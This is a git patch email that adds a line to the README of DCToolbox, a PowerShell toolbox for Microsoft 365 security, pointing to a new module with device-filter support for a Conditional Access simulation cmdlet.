<21057877@student.hhs.nl> Date: Thu, 30 Jan 2025 17:02:02 +0100 Subject: [PATCH 2/2] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 88350a5..e86b107 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,6 @@ +CSTijgers folder contains new module with device-filter functionality included, Invoke-DCConditionalAccessSimulationWithDevices @parameters + + # DCToolbox A PowerShell toolbox for Microsoft 365 security fans.